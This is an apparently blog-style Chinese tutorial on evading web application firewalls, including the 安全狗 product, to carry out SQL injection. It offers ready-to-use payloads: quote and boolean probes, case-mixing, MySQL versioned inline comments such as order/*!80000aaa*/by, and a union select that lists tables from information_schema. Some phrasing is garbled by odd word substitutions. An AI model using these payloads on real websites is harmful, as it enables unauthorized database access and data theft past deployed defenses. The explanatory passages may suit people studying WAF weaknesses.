关于我想绕过WAF这件事
绕过waf
至于怎样绕过waf,其实就是绕过规则库,在这里给出一些我总结的思路和一些payload,但并不能保证实时性和时效性,因此,学习思路可以保证自己的payload可以随时更新,一般在你测试网站时发现页面被拦截,网络好却一直转圈,很可能是被waf拦截。
这个时候可以一个一个试试是否出现违规字符或者被拦截了
例如说
可以进行尝试,1' and 1=1%23
或者可以先尝试1' 尝试,现在市面大部分waf都没有拦截',但是不排除有拦截的waf 然后去查看and 有可能你只用 id = 1 and 1并不拦截,但是用了 id = 1 and 1=1 这种完整的语句 就会拦截
但是注意的是存在情况 有些waf只拦截 get 不拦截post 所以可以 http://www.xxx.com/index.php?id=1 and 1=1 post: aaa
这样就不拦截了
0x01 让我们直视WAF
大小写转换法 在某些waf里,使用的正则不完善或者是没有用大小写转换函数
SQL: sEleCt vERsloN(); XSS: aleRt(1)
干扰字符污染 利用网站使用的语言函数特性老绕过waf的规则或者使用会无视的字符
SQL: select version() SQL: select/*!*/`version`();
过安全狗注入
常规注入
首先你要了解关于mysql的注释特性
在MySQL里,多行解释 是 /* */,这个是SQL的标准 但是MySQL扩张了解释 的功能
假如 在开头的/*后头加了惊叹号,那么此解释里的语句将被执行
比如
/*! select * from test */;
>+------+
| id |
+------+
| 1 |
| 2 |
| 3 |
+------+
再看如下语句
/*!50001 select * from test */;
这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被推行 因此固然 你的mysql dump出来的成立 view的语句在解释 里,实际上它是会被执行的
假如 是以下内容,就不会推行 了,那是真正的解释 了 /* select * from test */; 内联注释
order/*!80000aaa*/by/*!80000aaa*/5
payload解释:因为加了内联注释,然后order/!80000aaa/by/!80000aaa/5 这句话数据库看到这里order by 被隔开了就没有拦截,然后进去数据库,数据库看到这里版本没有80000那么高,然后直接无视内联,然后就执行order by
有时候/!80000aaa/只有一个绕不过去,可以尝试多写几个绕过去 /!80000aaa//!80000aaa/这样
?id=1 union /*!/*!4select*/+1,2,3,4,5
用反引号逃逸关键符号
?id=1 union /*!90000aaa*/select 1,2,table_name,4,5/*!9000aaa*//*!90000aaa*/from+`information_schema`.tables where table_schema = 0x6D7973716C
payload展示
